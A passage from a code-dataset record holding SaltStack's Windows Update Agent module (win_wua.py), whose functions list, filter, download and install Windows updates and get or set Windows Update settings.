True\n if category.Name in categories:\n category_match = True\n\n if category_match:\n update_list.Add(update)\n\n return update_list\n\n\ndef _filter_list_by_severity(updates, severities=None):\n # This function filters the updates list based on Category\n\n if not updates:\n return 'No updates found'\n\n update_list = win32com.client.Dispatch('Microsoft.Update.UpdateColl')\n\n for update in updates:\n\n severity_match = False\n\n # If no severities were passed, return all categories\n # Set severity_match to True\n if severities is None:\n severity_match = True\n else:\n # If the severity exists in the list of severities passed, then set\n # severity_match to True\n if update.MsrcSeverity in severities:\n severity_match = True\n\n if severity_match:\n update_list.Add(update)\n\n return update_list\n\n\ndef _list_updates_build_summary(updates):\n if updates.Count == 0:\n return 'Nothing to return'\n\n results = {}\n\n log.debug('Building update summary')\n\n # Build a dictionary containing a summary of updates available\n results['Total'] = 0\n results['Available'] = 0\n results['Downloaded'] = 0\n results['Installed'] = 0\n results['Categories'] = {}\n results['Severity'] = {}\n\n for update in updates:\n\n # Count the total number of updates available\n results['Total'] += 1\n\n # Updates available for download\n if not update.IsDownloaded and not update.IsInstalled:\n results['Available'] += 1\n\n # Updates downloaded awaiting install\n if update.IsDownloaded and not update.IsInstalled:\n results['Downloaded'] += 1\n\n # Updates installed\n if update.IsInstalled:\n results['Installed'] += 1\n\n # Add Categories and increment total for each one\n # The sum will be more than the total because each update can have\n # multiple categories\n for category in update.Categories:\n if category.Name in results['Categories']:\n results['Categories'][category.Name] += 1\n else:\n results['Categories'][category.Name] = 1\n\n # Add Severity Summary\n if update.MsrcSeverity:\n if update.MsrcSeverity in results['Severity']:\n results['Severity'][update.MsrcSeverity] += 1\n else:\n results['Severity'][update.MsrcSeverity] = 1\n\n return results\n\n\ndef _list_updates_build_report(updates):\n if updates.Count == 0:\n return 'Nothing to return'\n\n results = {}\n\n log.debug('Building a detailed report of the results.')\n\n # Build a dictionary containing details for each update\n\n for update in updates:\n\n guid = update.Identity.UpdateID\n results[guid] = {}\n results[guid]['guid'] = guid\n title = update.Title\n results[guid]['Title'] = title\n kb = \"\"\n if \"KB\" in title:\n kb = title[title.find(\"(\") + 1: title.find(\")\")]\n results[guid]['KB'] = kb\n results[guid]['Description'] = update.Description\n results[guid]['Downloaded'] = str(update.IsDownloaded)\n results[guid]['Installed'] = str(update.IsInstalled)\n results[guid]['Mandatory'] = str(update.IsMandatory)\n results[guid]['UserInput'] = str(update.InstallationBehavior.CanRequestUserInput)\n results[guid]['EULAAccepted'] = str(update.EulaAccepted)\n\n # Severity of the Update\n # Can be: Critical, Important, Low, Moderate, <unspecified or empty>\n results[guid]['Severity'] = str(update.MsrcSeverity)\n\n # This value could easily be confused with the Reboot Behavior value\n # This is stating whether or not the INSTALLED update is awaiting\n # reboot\n results[guid]['NeedsReboot'] = str(update.RebootRequired)\n\n # Interpret the RebootBehavior value\n # This value is referencing an update that has NOT been installed\n rb = {0: 'Never Requires Reboot',\n 1: 'Always Requires Reboot',\n 2: 'Can Require Reboot'}\n results[guid]['RebootBehavior'] = rb[update.InstallationBehavior.RebootBehavior]\n\n # Add categories (nested list)\n results[guid]['Categories'] = []\n for category in update.Categories:\n results[guid]['Categories'].append(category.Name)\n\n return results\n\n\ndef list_update(name=None,\n download=False,\n install=False):\n \"\"\"\n Returns details for all updates that match the search criteria\n\n :param str name:\n The name of the update you're searching for. This can be the GUID\n (preferred), a KB number, or the full name of the update. Run list_updates\n to get the GUID for the update you're looking for.\n\n :param bool download:\n Download the update returned by this function. Run this function first\n to see if the update exists, then set download=True to download the\n update.\n\n :param bool install:\n Install the update returned by this function. Run this function first\n to see if the update exists, then set install=True to install the\n update. This will override download=True\n\n :return:\n Returns a dict containing a list of updates that match the name if\n download and install are both set to False. Should usually be a single\n update, but can return multiple if a partial name is given. If download or\n install is set to true it will return the results of\n win_wua.download_updates:\n\n .. code-block:: cfg\n\n List of Updates:\n {'<GUID>': {'Title': <title>,\n 'KB': <KB>,\n 'GUID': <the globally unique identifier for the update>\n 'Description': <description>,\n 'Downloaded': <has the update been downloaded>,\n 'Installed': <has the update been installed>,\n 'Mandatory': <is the update mandatory>,\n 'UserInput': <is user input required>,\n 'EULAAccepted': <has the EULA been accepted>,\n 'Severity': <update severity>,\n 'NeedsReboot': <is the update installed and awaiting reboot>,\n 'RebootBehavior': <will the update require a reboot>,\n 'Categories': [ '<category 1>',\n '<category 2>',\n ...]\n }\n }\n\n :return type: dict\n\n CLI Examples:\n\n .. code-block:: bash\n\n # Recommended Usage using GUID without braces\n # Use this to find the status of a specific update\n salt '*' win_wua.list_update 12345678-abcd-1234-abcd-1234567890ab\n\n # Use the following if you don't know the GUID:\n\n # Using a KB number (could possibly return multiple results)\n # Not all updates have an associated KB\n salt '*' win_wua.list_update KB3030298\n\n # Using part or all of the name of the update\n # Could possibly return multiple results\n # Not all updates have an associated KB\n salt '*' win_wua.list_update 'Microsoft Camera Codec Pack'\n\n \"\"\"\n if name is None:\n return 'Nothing to list'\n\n # Initialize the PyCom system\n pythoncom.CoInitialize()\n\n # Create a session with the Windows Update Agent\n wua_session = win32com.client.Dispatch('Microsoft.Update.Session')\n\n # Create the searcher\n wua_searcher = wua_session.CreateUpdateSearcher()\n\n # Create the found update collection\n wua_found = win32com.client.Dispatch('Microsoft.Update.UpdateColl')\n\n # Try searching for the GUID first\n search_string = 'UpdateID=\\'{0}\\''.format(name)\n\n log.debug('Searching for update: {0}'.format(search_string.lower()))\n try:\n found_using_guid = False\n wua_search_result = wua_searcher.Search(search_string.lower())\n if wua_search_result.Updates.Count > 0:\n found_using_guid = True\n else:\n return \"No update found\"\n except Exception:\n log.debug('GUID not found, searching Title: {0}'.format(name))\n search_string = 'Type=\\'Software\\' or Type=\\'Driver\\''\n wua_search_result = wua_searcher.Search(search_string)\n\n # Populate wua_found\n if found_using_guid:\n # Found using GUID so there should only be one\n # Add it to the collection\n for update in wua_search_result.Updates:\n wua_found.Add(update)\n else:\n # Not found using GUID\n # Try searching the title for the Name or KB\n for update in wua_search_result.Updates:\n if name in update.Title:\n wua_found.Add(update)\n\n if install:\n guid_list = []\n for update in wua_found:\n guid_list.append(update.Identity.UpdateID)\n return install_updates(guid_list)\n\n if download:\n guid_list = []\n for update in wua_found:\n guid_list.append(update.Identity.UpdateID)\n return download_updates(guid_list)\n\n return _list_updates_build_report(wua_found)\n\n\ndef list_updates(software=True,\n drivers=False,\n summary=False,\n installed=False,\n categories=None,\n severities=None,\n download=False,\n install=False):\n \"\"\"\n Returns a detailed list of available updates or a summary\n\n :param bool software:\n Include software updates in the results (default is True)\n\n :param bool drivers:\n Include driver updates in the results (default is False)\n\n :param bool summary:\n True: Return a summary of updates available for each category.\\\n False (default): Return a detailed list of available updates.\n\n :param bool installed:\n Include installed updates in the results (default if False)\n\n :param bool download:\n (Overrides reporting functionality) Download the list of updates\n returned by this function. Run this function first to see what will be\n installed, then set download=True to download the updates.\n\n :param bool install:\n (Overrides reporting functionality) Install the list of updates\n returned by this function. Run this function first to see what will be\n installed, then set install=True to install the updates. This will\n override download=True\n\n :param list categories:\n Specify the categories to list. Must be passed as a list. All\n categories returned by default.\n\n Categories include the following:\n\n * Critical Updates\n * Definition Updates\n * Drivers (make sure you set drivers=True)\n * Feature Packs\n * Security Updates\n * Update Rollups\n * Updates\n * Update Rollups\n * Windows 7\n * Windows 8.1\n * Windows 8.1 drivers\n * Windows 8.1 and later drivers\n * Windows Defender\n\n :param list severities:\n Specify the severities to include. Must be passed as a list. All\n severities returned by default.\n\n Severities include the following:\n\n * Critical\n * Important\n\n :return:\n Returns a dict containing either a summary or a list of updates:\n\n .. code-block:: cfg\n\n List of Updates:\n {'<GUID>': {'Title': <title>,\n 'KB': <KB>,\n 'GUID': <the globally uinique identifier for the update>\n 'Description': <description>,\n 'Downloaded': <has the update been downloaded>,\n 'Installed': <has the update been installed>,\n 'Mandatory': <is the update mandatory>,\n 'UserInput': <is user input required>,\n 'EULAAccepted': <has the EULA been accepted>,\n 'Severity': <update severity>,\n 'NeedsReboot': <is the update installed and awaiting reboot>,\n 'RebootBehavior': <will the update require a reboot>,\n 'Categories': [ '<category 1>',\n '<category 2>',\n ...]\n }\n }\n\n Summary of Updates:\n {'Total': <total number of updates returned>,\n 'Available': <updates that are not downloaded or installed>,\n 'Downloaded': <updates that are downloaded but not installed>,\n 'Installed': <updates installed (usually 0 unless installed=True)>,\n 'Categories': { <category 1>: <total for that category>,\n <category 2>: <total for category 2>,\n ... }\n }\n :return type: dict\n\n CLI Examples:\n\n .. code-block:: bash\n\n # Normal Usage (list all software updates)\n salt '*' win_wua.list_updates\n\n # List all updates with categories of Critical Updates and Drivers\n salt '*' win_wua.list_updates categories=['Critical Updates','Drivers']\n\n # List all Critical Security Updates\n salt '*' win_wua.list_updates categories=['Security Updates'] severities=['Critical']\n\n # List all updates with a severity of Critical\n salt '*' win_wua.list_updates severities=['Critical']\n\n # A summary of all available updates\n salt '*' win_wua.list_updates summary=True\n\n # A summary of all Feature Packs and Windows 8.1 Updates\n salt '*' win_wua.list_updates categories=['Feature Packs','Windows 8.1'] summary=True\n\n \"\"\"\n # Get the list of updates\n updates = _wua_search(software_updates=software,\n driver_updates=drivers,\n skip_installed=not installed)\n\n # Filter the list of updates\n updates = _filter_list_by_category(updates=updates,\n categories=categories)\n\n updates = _filter_list_by_severity(updates=updates,\n severities=severities)\n\n # If the list is empty after filtering, return a message\n if not updates:\n return 'No updates found. Check software and drivers parameters. One must be true.'\n\n if install:\n guid_list = []\n for update in updates:\n guid_list.append(update.Identity.UpdateID)\n return install_updates(guid_list)\n\n if download:\n guid_list = []\n for update in updates:\n guid_list.append(update.Identity.UpdateID)\n return download_updates(guid_list)\n\n if summary:\n return _list_updates_build_summary(updates)\n else:\n return _list_updates_build_report(updates)\n\n\ndef download_update(guid=None):\n \"\"\"\n Downloads a single update\n\n :param guid: str\n A GUID for the update to be downloaded\n\n :return:\n A dictionary containing the status, a message, and a list of updates\n that were downloaded.\n\n CLI Examples:\n\n .. code-block:: bash\n\n salt '*' win_wua.download_update 12345678-abcd-1234-abcd-1234567890ab\n\n \"\"\"\n return download_updates([guid])\n\n\ndef download_updates(guid=None):\n \"\"\"\n Downloads updates that match the list of passed GUIDs. It's easier to use\n this function by using list_updates and setting install=True.\n\n :param guid:\n A list of GUIDs to be downloaded\n\n :return:\n A dictionary containing the status, a message, and a list of updates\n that were downloaded.\n\n CLI Examples:\n\n .. code-block:: bash\n\n # Normal Usage\n salt '*' win_wua.download_updates \\\n guid=['12345678-abcd-1234-abcd-1234567890ab',\\\n '87654321-dcba-4321-dcba-ba0987654321']\n \"\"\"\n # Check for empty GUID\n if guid is None:\n return \"No GUID Specified\"\n\n # Initialize the PyCom system\n pythoncom.CoInitialize()\n\n # Create a session with the Windows Update Agent\n wua_session = win32com.client.Dispatch('Microsoft.Update.Session')\n wua_session.ClientApplicationID = 'Salt: Install Update'\n\n # Create the Searcher, Downloader, Installer, and Collections\n wua_searcher = wua_session.CreateUpdateSearcher()\n wua_download_list = win32com.client.Dispatch('Microsoft.Update.UpdateColl')\n wua_downloader = wua_session.CreateUpdateDownloader()\n\n ret = {}\n\n # Searching for the GUID\n search_string = ''\n search_list = ''\n log.debug('Searching for updates:')\n for ident in guid:\n log.debug('{0}'.format(ident))\n if search_string == '':\n search_string = 'UpdateID=\\'{0}\\''.format(ident.lower())\n search_list = '{0}'.format(ident.lower())\n else:\n search_string += ' or UpdateID=\\'{0}\\''.format(ident.lower())\n search_list += '\\n{0}'.format(ident.lower())\n\n try:\n wua_search_result = wua_searcher.Search(search_string)\n if wua_search_result.Updates.Count == 0:\n log.debug('No Updates found for:\\n\\t\\t{0}'.format(search_list))\n ret['Success'] = False\n ret['Details'] = 'No Updates found: {0}'.format(search_list)\n return ret\n except Exception:\n log.debug('Invalid Search String: {0}'.format(search_string))\n return 'Invalid Search String: {0}'.format(search_string)\n\n # List updates found\n log.debug('Found the following updates:')\n ret['Updates'] = {}\n for update in wua_search_result.Updates:\n # Check to see if the update is already installed\n ret['Updates'][update.Identity.UpdateID] = {}\n ret['Updates'][update.Identity.UpdateID]['Title'] = update.Title\n if update.IsInstalled:\n log.debug('Already Installed: {0}'.format(update.Identity.UpdateID))\n log.debug(u'\\tTitle: {0}'.format(update.Title))\n ret['Updates'][update.Identity.UpdateID]['AlreadyInstalled'] = True\n # Make sure the EULA has been accepted\n if not update.EulaAccepted:\n log.debug(u'Accepting EULA: {0}'.format(update.Title))\n update.AcceptEula() # pylint: disable=W0104\n # Add to the list of updates that need to be downloaded\n if update.IsDownloaded:\n log.debug('Already Downloaded: {0}'.format(update.Identity.UpdateID))\n log.debug(u'\\tTitle: {0}'.format(update.Title))\n ret['Updates'][update.Identity.UpdateID]['AlreadyDownloaded'] = True\n else:\n log.debug('To Be Downloaded: {0}'.format(update.Identity.UpdateID))\n log.debug(u'\\tTitle: {0}'.format(update.Title))\n ret['Updates'][update.Identity.UpdateID]['AlreadyDownloaded'] = False\n wua_download_list.Add(update)\n\n # Check the download list\n if wua_download_list.Count == 0:\n # Not necessarily a failure, perhaps the update has been downloaded\n log.debug('No updates to download')\n ret['Success'] = False\n ret['Message'] = 'No updates to download'\n return ret\n\n # Download the updates\n log.debug('Downloading...')\n wua_downloader.Updates = wua_download_list\n\n try:\n result = wua_downloader.Download()\n\n except Exception as error:\n\n ret['Success'] = False\n ret['Result'] = format(error)\n\n hr, msg, exc, arg = error.args # pylint: disable=W0633\n # Error codes found at the following site:\n # https://msdn.microsoft.com/en-us/library/windows/desktop/hh968413(v=vs.85).aspx\n fc = {-2145124316: 'No Updates: 0x80240024',\n -2145124284: 'Access Denied: 0x8024044'}\n try:\n failure_code = fc[exc[5]]\n except KeyError:\n failure_code = 'Unknown Failure: {0}'.format(error)\n\n log.debug('Download Failed: {0}'.format(failure_code))\n ret['error_msg'] = failure_code\n ret['location'] = 'Download Section of download_updates'\n ret['file'] = 'win_wua.py'\n\n return ret\n\n log.debug('Download Complete')\n\n rc = {0: 'Download Not Started',\n 1: 'Download In Progress',\n 2: 'Download Succeeded',\n 3: 'Download Succeeded With Errors',\n 4: 'Download Failed',\n 5: 'Download Aborted'}\n log.debug(rc[result.ResultCode])\n\n if result.ResultCode in [2, 3]:\n ret['Success'] = True\n else:\n ret['Success'] = False\n\n ret['Message'] = rc[result.ResultCode]\n\n for i in range(wua_download_list.Count):\n uid = wua_download_list.Item(i).Identity.UpdateID\n ret['Updates'][uid]['Result'] = rc[result.GetUpdateResult(i).ResultCode]\n\n return ret\n\n\ndef install_update(guid=None):\n \"\"\"\n Installs a single update\n\n :param guid: str\n A GUID for the update to be installed\n\n :return: dict\n A dictionary containing the details about the installed update\n\n CLI Examples:\n\n .. code-block:: bash\n\n salt '*' win_wua.install_update 12345678-abcd-1234-abcd-1234567890ab\n\n \"\"\"\n return install_updates([guid])\n\n\ndef install_updates(guid=None):\n \"\"\"\n Installs updates that match the passed criteria. It may be easier to use the\n list_updates function and set install=True.\n\n :param guid: list\n A list of GUIDs to be installed\n\n :return: dict\n A dictionary containing the details about the installed updates\n\n CLI Examples:\n\n .. code-block:: bash\n\n # Normal Usage\n salt '*' win_wua.install_updates\n guid=['12345678-abcd-1234-abcd-1234567890ab',\n '87654321-dcba-4321-dcba-ba0987654321']\n \"\"\"\n # Check for empty GUID\n if guid is None:\n return 'No GUID Specified'\n\n # Initialize the PyCom system\n pythoncom.CoInitialize()\n\n # Create a session with the Windows Update Agent\n wua_session = win32com.client.Dispatch('Microsoft.Update.Session')\n wua_session.ClientApplicationID = 'Salt: Install Update'\n\n # Create the Searcher, Downloader, Installer, and Collections\n wua_searcher = wua_session.CreateUpdateSearcher()\n wua_download_list = win32com.client.Dispatch('Microsoft.Update.UpdateColl')\n wua_downloader = wua_session.CreateUpdateDownloader()\n wua_install_list = win32com.client.Dispatch('Microsoft.Update.UpdateColl')\n wua_installer = wua_session.CreateUpdateInstaller()\n\n ret = {}\n\n # Searching for the GUID\n search_string = ''\n search_list = ''\n log.debug('Searching for updates:')\n for ident in guid:\n log.debug('{0}'.format(ident))\n if search_string == '':\n search_string = 'UpdateID=\\'{0}\\''.format(ident.lower())\n search_list = '{0}'.format(ident.lower())\n else:\n search_string += ' or UpdateID=\\'{0}\\''.format(ident.lower())\n search_list += '\\n{0}'.format(ident.lower())\n\n try:\n wua_search_result = wua_searcher.Search(search_string)\n if wua_search_result.Updates.Count == 0:\n log.debug('No Updates found for:\\n\\t\\t{0}'.format(search_list))\n ret['Success'] = False\n ret['Details'] = 'No Updates found: {0}'.format(search_list)\n return ret\n except Exception:\n log.debug('Invalid Search String: {0}'.format(search_string))\n return 'Invalid Search String: {0}'.format(search_string)\n\n # List updates found\n log.debug('Found the following update:')\n ret['Updates'] = {}\n for update in wua_search_result.Updates:\n # Check to see if the update is already installed\n ret['Updates'][update.Identity.UpdateID] = {}\n ret['Updates'][update.Identity.UpdateID]['Title'] = update.Title\n if update.IsInstalled:\n log.debug('Already Installed: {0}'.format(update.Identity.UpdateID))\n log.debug(u'\\tTitle: {0}'.format(update.Title))\n ret['Updates'][update.Identity.UpdateID]['AlreadyInstalled'] = True\n # Make sure the EULA has been accepted\n if not update.EulaAccepted:\n log.debug(u'Accepting EULA: {0}'.format(update.Title))\n update.AcceptEula() # pylint: disable=W0104\n # Add to the list of updates that need to be downloaded\n if update.IsDownloaded:\n log.debug('Already Downloaded: {0}'.format(update.Identity.UpdateID))\n log.debug(u'\\tTitle: {0}'.format(update.Title))\n ret['Updates'][update.Identity.UpdateID]['AlreadyDownloaded'] = True\n else:\n log.debug('To Be Downloaded: {0}'.format(update.Identity.UpdateID))\n log.debug(u'\\tTitle: {0}'.format(update.Title))\n ret['Updates'][update.Identity.UpdateID]['AlreadyDownloaded'] = False\n wua_download_list.Add(update)\n\n # Download the updates\n if wua_download_list.Count == 0:\n # Not necessarily a failure, perhaps the update has been downloaded\n # but not installed\n log.debug('No updates to download')\n else:\n # Otherwise, download the update\n log.debug('Downloading...')\n wua_downloader.Updates = wua_download_list\n\n try:\n wua_downloader.Download()\n log.debug('Download Complete')\n\n except Exception as error:\n\n ret['Success'] = False\n ret['Result'] = format(error)\n\n hr, msg, exc, arg = error.args # pylint: disable=W0633\n # Error codes found at the following site:\n # https://msdn.microsoft.com/en-us/library/windows/desktop/hh968413(v=vs.85).aspx\n fc = {-2145124316: 'No Updates: 0x80240024',\n -2145124284: 'Access Denied: 0x8024044'}\n try:\n failure_code = fc[exc[5]]\n except KeyError:\n failure_code = 'Unknown Failure: {0}'.format(error)\n\n log.debug('Download Failed: {0}'.format(failure_code))\n ret['error_msg'] = failure_code\n ret['location'] = 'Download Section of install_updates'\n ret['file'] = 'win_wua.py'\n\n return ret\n\n # Install the updates\n for update in wua_search_result.Updates:\n # Make sure the update has actually been downloaded\n if update.IsDownloaded:\n log.debug(u'To be installed: {0}'.format(update.Title))\n wua_install_list.Add(update)\n\n if wua_install_list.Count == 0:\n # There are not updates to install\n # This would only happen if there was a problem with the download\n # If this happens often, perhaps some error checking for the download\n log.debug('No updates to install')\n ret['Success'] = False\n ret['Message'] = 'No Updates to install'\n return ret\n\n wua_installer.Updates = wua_install_list\n\n # Try to run the installer\n try:\n result = wua_installer.Install()\n\n except Exception as error:\n\n # See if we know the problem, if not return the full error\n ret['Success'] = False\n ret['Result'] = format(error)\n\n hr, msg, exc, arg = error.args # pylint: disable=W0633\n # Error codes found at the following site:\n # https://msdn.microsoft.com/en-us/library/windows/desktop/hh968413(v=vs.85).aspx\n fc = {-2145124316: 'No Updates: 0x80240024',\n -2145124284: 'Access Denied: 0x8024044'}\n try:\n failure_code = fc[exc[5]]\n except KeyError:\n failure_code = 'Unknown Failure: {0}'.format(error)\n\n log.debug('Download Failed: {0}'.format(failure_code))\n ret['error_msg'] = failure_code\n ret['location'] = 'Install Section of install_updates'\n ret['file'] = 'win_wua.py'\n\n return ret\n\n rc = {0: 'Installation Not Started',\n 1: 'Installation In Progress',\n 2: 'Installation Succeeded',\n 3: 'Installation Succeeded With Errors',\n 4: 'Installation Failed',\n 5: 'Installation Aborted'}\n log.debug(rc[result.ResultCode])\n\n if result.ResultCode in [2, 3]:\n ret['Success'] = True\n ret['NeedsReboot'] = result.RebootRequired\n log.debug('NeedsReboot: {0}'.format(result.RebootRequired))\n else:\n ret['Success'] = False\n\n ret['Message'] = rc[result.ResultCode]\n rb = {0: 'Never Reboot',\n 1: 'Always Reboot',\n 2: 'Poss Reboot'}\n for i in range(wua_install_list.Count):\n uid = wua_install_list.Item(i).Identity.UpdateID\n ret['Updates'][uid]['Result'] = rc[result.GetUpdateResult(i).ResultCode]\n ret['Updates'][uid]['RebootBehavior'] = rb[wua_install_list.Item(i).InstallationBehavior.RebootBehavior]\n\n return ret\n\n\ndef set_wu_settings(level=None,\n recommended=None,\n featured=None,\n elevated=None,\n msupdate=None,\n day=None,\n time=None):\n \"\"\"\n Change Windows Update settings. If no parameters are passed, the current\n value will be returned.\n\n :param int level:\n Number from 1 to 4 indicating the update level:\n 1. Never check for updates\n 2. Check for updates but let me choose whether to download and install them\n 3. Download updates but let me choose whether to install them\n 4. Install updates automatically\n :param bool recommended:\n Boolean value that indicates whether to include optional or recommended\n updates when a search for updates and installation of updates is\n performed.\n\n :param bool featured:\n Boolean value that indicates whether to display notifications for\n featured updates.\n\n :param bool elevated:\n Boolean value that indicates whether non-administrators can perform some\n update-related actions without administrator approval.\n\n :param bool msupdate:\n Boolean value that indicates whether to turn on Microsoft Update for\n other Microsoft products\n\n :param str day:\n Days of the week on which Automatic Updates installs or uninstalls\n updates.\n Accepted values:\n - Everyday\n - Monday\n - Tuesday\n - Wednesday\n - Thursday\n - Friday\n - Saturday\n\n :param str time:\n Time at which Automatic Updates installs or uninstalls updates. Must be\n in the ##:## 24hr format, eg. 3:00 PM would be 15:00\n\n :return: Returns a dictionary containing the results.\n\n CLI Examples:\n\n .. code-block:: bash\n\n salt '*' win_wua.set_wu_settings level=4 recommended=True featured=False\n\n \"\"\"\n ret = {}\n ret['Success'] = True\n\n # Initialize the PyCom system\n pythoncom.CoInitialize()\n\n # Create an AutoUpdate object\n obj_au = win32com.client.Dispatch('Microsoft.Update.AutoUpdate')\n\n # Create an AutoUpdate Settings Object\n obj_au_settings = obj_au.Settings\n\n # Only change the setting if it's passed\n if level is not None:\n obj_au_settings.NotificationLevel = int(level)\n result = obj_au_settings.Save()\n if result is None:\n ret['Level'] = level\n else:\n ret['Comment'] = \"Settings failed to save. Check permissions.\"\n ret['Success'] = False\n\n if recommended is not None:\n obj_au_settings.IncludeRecommendedUpdates = recommended\n result = obj_au_settings.Save()\n if result is None:\n ret['Recommended'] = recommended\n else:\n ret['Comment'] = \"Settings failed to save. Check permissions.\"\n ret['Success'] = False\n\n if featured is not None:\n obj_au_settings.FeaturedUpdatesEnabled = featured\n result = obj_au_settings.Save()\n if result is None:\n ret['Featured'] = featured\n else:\n ret['Comment'] = \"Settings failed to save. Check permissions.\"\n ret['Success'] = False\n\n if elevated is not None:\n obj_au_settings.NonAdministratorsElevated = elevated\n result = obj_au_settings.Save()\n if result is None:\n ret['Elevated'] = elevated\n else:\n ret['Comment'] = \"Settings failed to save. Check permissions.\"\n ret['Success'] = False\n\n if day is not None:\n # Check that day is valid\n days = {'Everyday': 0,\n 'Sunday': 1,\n 'Monday': 2,\n 'Tuesday': 3,\n 'Wednesday': 4,\n 'Thursday': 5,\n 'Friday': 6,\n 'Saturday': 7}\n if day not in days:\n ret['Comment'] = \"Day needs to be one of the following: Everyday,\" \\\n \"Monday, Tuesday, Wednesday, Thursday, Friday, \" \\\n \"Saturday\"\n ret['Success'] = False\n else:\n # Set the numeric equivalent for the day setting\n obj_au_settings.ScheduledInstallationDay = days[day]\n result = obj_au_settings.Save()\n if result is None:\n ret['Day'] = day\n else:\n ret['Comment'] = \"Settings failed to save. Check permissions.\"\n ret['Success'] = False\n\n if time is not None:\n # Check for time as a string: if the time is not quoted, yaml will\n # treat it as an integer\n if not isinstance(time, six.string_types):\n ret['Comment'] = \"Time argument needs to be a string; it may need to\"\\\n \"be quoted. Passed {0}. Time not set.\".format(time)\n ret['Success'] = False\n # Check for colon in the time\n elif ':' not in time:\n ret['Comment'] = \"Time argument needs to be in 00:00 format.\" \\\n \" Passed {0}. Time not set.\".format(time)\n ret['Success'] = False\n else:\n # Split the time by :\n t = time.split(\":\")\n # We only need the hours value\n obj_au_settings.FeaturedUpdatesEnabled = t[0]\n result = obj_au_settings.Save()\n if result is None:\n ret['Time'] = time\n else:\n ret['Comment'] = \"Settings failed to save. Check permissions.\"\n ret['Success'] = False\n\n if msupdate is not None:\n # Microsoft Update requires special handling\n # First load the MS Update Service Manager\n obj_sm = win32com.client.Dispatch('Microsoft.Update.ServiceManager')\n\n # Give it a bogus name\n obj_sm.ClientApplicationID = \"My App\"\n\n if msupdate:\n # msupdate is true, so add it to the services\n try:\n obj_sm.AddService2('7971f918-a847-4430-9279-4a52d1efe18d', 7, '')\n ret['msupdate'] = msupdate\n except Exception as error:\n hr, msg, exc, arg = error.args # pylint: disable=W0633\n # Consider checking for -2147024891 (0x80070005) Access Denied\n ret['Comment'] = \"Failed with failure code: {0}\".format(exc[5])\n ret['Success'] = False\n else:\n # msupdate is false, so remove it from the services\n # check to see if the update is there or the RemoveService function\n # will fail\n if _get_msupdate_status():\n # Service found, remove the service\n try:\n obj_sm.RemoveService('7971f918-a847-4430-9279-4a52d1efe18d')\n ret['msupdate'] = msupdate\n except Exception as error:\n hr, msg, exc, arg = error.args # pylint: disable=W0633\n # Consider checking for the following\n # -2147024891 (0x80070005) Access Denied\n # -2145091564 (0x80248014) Service Not Found (shouldn't get\n # this with the check for _get_msupdate_status above\n ret['Comment'] = \"Failed with failure code: {0}\".format(exc[5])\n ret['Success'] = False\n else:\n ret['msupdate'] = msupdate\n\n ret['Reboot'] = get_needs_reboot()\n\n return ret\n\n\ndef get_wu_settings():\n \"\"\"\n Get current Windows Update settings.\n\n :return:\n Featured Updates:\n Boolean value that indicates whether to display notifications for\n featured updates.\n Group Policy Required (Read-only):\n Boolean value that indicates whether Group Policy requires the Automatic\n Updates service.\n Microsoft Update:\n Boolean value that indicates whether to turn on Microsoft Update for\n other Microsoft Products\n Needs Reboot:\n Boolean value that indicates whether the machine is in a reboot pending\n state.\n Non Admins Elevated:\n Boolean value that indicates whether non-administrators can perform some\n update-related actions without administrator approval.\n Notification Level:\n Number 1 to 4 indicating the update level:\n 1. Never check for updates\n 2. Check for updates but let me choose whether to download and install them\n 3. Download updates but let me choose whether to install them\n 4. Install updates automatically\n Read Only (Read-only):\n Boolean value that indicates whether the Automatic Update\n settings are read-only.\n Recommended Updates:\n Boolean value that indicates whether to include optional or recommended\n updates when a search for updates and installation of updates is\n performed.\n Scheduled Day:\n Days of the week on which Automatic Updates installs or uninstalls\n updates.\n Scheduled Time:\n Time at which Automatic Updates installs or uninstalls updates.\n\n CLI Examples:\n\n .. code-block:: bash\n\n salt '*' win_wua.get_wu_settings\n \"\"\"\n ret = {}\n\n day = ['Every Day',\n 'Sunday',\n 'Monday',\n 'Tuesday',\n 'Wednesday',\n 'Thursday',\n 'Friday',\n 'Saturday']\n\n # Initialize the PyCom system\n pythoncom.CoInitialize()\n\n # Create an AutoUpdate object\n obj_au = win32com.client.Dispatch('Microsoft.Update.AutoUpdate')\n\n # Create an AutoUpdate Settings Object\n obj_au_settings = obj_au.Settings\n\n # Populate the return dictionary\n ret['Featured Updates'] = obj_au_settings.FeaturedUpdatesEnabled\n ret['Group Policy Required'] = obj_au_settings.Required\n ret['Microsoft Update'] = _get_msupdate_status()\n ret['Needs Reboot'] = get_needs_reboot()\n ret['Non Admins Elevated'] = obj_au_settings.NonAdministratorsElevated\n ret['Notification Level'] = obj_au_settings.NotificationLevel\n ret['Read Only'] = obj_au_settings.ReadOnly\n ret['Recommended Updates'] = obj_au_settings.IncludeRecommendedUpdates\n ret['Scheduled Day'] = day[obj_au_settings.ScheduledInstallationDay]\n # Scheduled Installation Time requires special handling to return the time\n # in the right format\n if obj_au_settings.ScheduledInstallationTime < 10:\n ret['Scheduled Time'] = '0{0}:00'.\\\n format(obj_au_settings.ScheduledInstallationTime)\n else:\n ret['Scheduled Time'] = '{0}:00'.\\\n format(obj_au_settings.ScheduledInstallationTime)\n\n return ret\n\n\ndef _get_msupdate_status():\n \"\"\"\n Check to see if Microsoft Update is Enabled\n Return Boolean\n \"\"\"\n # To get the status of Microsoft Update we actually have to check the\n # Microsoft Update Service Manager\n # Create a ServiceManager Object\n obj_sm = win32com.client.Dispatch('Microsoft.Update.ServiceManager')\n\n # Return a collection of loaded Services\n col_services = obj_sm.Services\n\n # Loop through the collection to find the Microsoft Udpate Service\n # If it exists return True otherwise False\n for service in col_services:\n if service.name == 'Microsoft Update':\n return True\n\n return False\n\n\ndef get_needs_reboot():\n \"\"\"\n Determines if the system needs to be rebooted.\n\n :return: bool\n True if the system requires a reboot, False if not\n\n CLI Examples:\n\n .. code-block:: bash\n\n salt '*' win_wua.get_needs_reboot\n\n \"\"\"\n # Initialize the PyCom system\n pythoncom.CoInitialize()\n\n # Create an AutoUpdate object\n obj_sys = win32com.client.Dispatch('Microsoft.Update.SystemInfo')\n\n if obj_sys.RebootRequired:\n return True\n else:\n return False\n", "id": "967145", "language": "Python", "matching_score": 2.812195301055908, "max_stars_count": 1, "path": "tests/build/virtualenv/lib/python2.7/site-packages/salt/modules/win_wua.py" }, { "content": "# -*- coding: utf-8 -*-\n'''\nWheel system wrapper for the Salt key system to be used in interactions with\nthe Salt Master programmatically.\n\nThe key module for the wheel system is meant to provide an internal interface\nfor other Salt systems to interact with the Salt Master. The following usage\nexamples assume that a WheelClient is available:\n\n.. code-block:: python\n\n import salt.config\n import salt.wheel\n 